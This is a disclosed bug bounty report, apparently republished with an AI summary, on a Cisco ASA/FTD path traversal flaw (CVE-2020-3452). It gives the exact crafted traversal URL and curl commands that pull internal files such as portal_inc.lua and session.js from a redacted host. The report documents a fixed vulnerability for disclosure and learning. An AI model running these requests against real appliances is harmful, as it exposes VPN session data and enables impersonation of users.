Read-only path traversal (CVE-2020-3452) at https://█████
The web services interface of Cisco ASA/FTD software fails to validate URL input, allowing directory traversal. An unauthenticated attacker could read arbitrary files in the web services file system, potentially impersonating a VPN user.
Originally disclosed on HackerOne
- Triaged in 12 hours
- Fixed in 5 months
- Disclosed after 8 months
Summary: I discovered a vulnerability Read-only path traversal (CVE-2020-3452) at https://███████
Description: A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.
Impact
An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.
Step-by-step Reproduction Instructions
-
In a web browser, navigate to https://███/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
-
Once URL is fully loaded, you will be prompted to download file
translation-tablethat representsportal_inc.luawhich you can then open and observe its content.
███ ███████
- Alternatively, you can execute the below linux bash terminal command to download that same file
portal_inc.lua:
curl -k "https://██████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" --output portal_inc.lua
- You can download various internal files using curl flag
--outputto output the binary data to a file:
curl -k "https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../" --output session.js
Product, Version, and Configuration (If applicable)
WebApp endpoint
Suggested Mitigation/Remediation Actions
- Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
- This advisory is available at the following link https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
Impact
An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could view arbitrary files within the web services file system, potentially impersonating another VPN user to establish a VPN session; however, this cannot access ASA/FTD system or OS files.
What the attacker needed
Target runs vulnerable Cisco ASA/FTD with WebVPN or…; No authentication required; Network access to the web services interface
The fix
Cisco has released software updates that address this vulnerability; there are no workarounds.
How it was found
- Navigate to the crafted URL in a web browser.
- The browser prompts to download a file named translation-table, which contains portal_inc.lua.
- Alternatively, use a curl command to download the same file.
- Use curl with the --output flag to download other internal files such as session.js.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a path traversal bug: a web server lets someone use '..' in a URL to step outside the intended folder and read files it should not serve. Here, an unauthenticated attacker could download internal files from a Cisco VPN appliance's web interface, which might let them pretend to be another VPN user.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.